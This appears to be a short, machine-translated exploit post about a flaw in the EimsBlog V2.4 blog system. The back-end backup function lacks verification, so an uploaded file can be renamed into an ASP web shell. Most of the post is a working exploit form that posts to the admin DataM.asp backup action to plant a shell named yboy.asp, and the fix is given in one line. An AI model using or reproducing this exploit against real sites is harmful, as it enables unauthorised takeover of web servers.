EimsBlog system V2.4 0-day vulnerability and repair

The back-end backup function is missing verification, causing local backup to be submitted to restore shell. asp

 

Vulnerability test exp:

<Table width = "98%" border = "0" cellspacing = "1" cellpAdding = "1" align = "center" class = "table">

<Form method = "post" action = "url/admin/DataM. asp? Eims = Data & Action = bfstart ">

<Tr> <td colspan = "2"> <div class = "title"> eimsBlog system Pday By yboy </div> </td> </tr>

<Tr> <td colspan = "2"> <font color = "red"> upload the file first, and the shell file is in the current directory </font> </td> </tr>

<Tr> <td width = "20%" align = "right"> webshell address: </td>

<Td> <input name = "olddata" type = "text" id = "olddata" value = "" size = "<% = InputSize %>"> </td> </tr>

<Tr> <td align = "right"> name: </td>

<Td> <input name = "newdata" type = "text" id = "newdata" size = "<% = InputSize %>" value = "yboy. asp "> </td> </tr>

<Tr> <td align = "right"> </td> <input type = "submit" name = "Submit" value = "fuck"/> </td> </tr> </form> </table>

 

Yboy and qing edit

Solution: backend backup function verification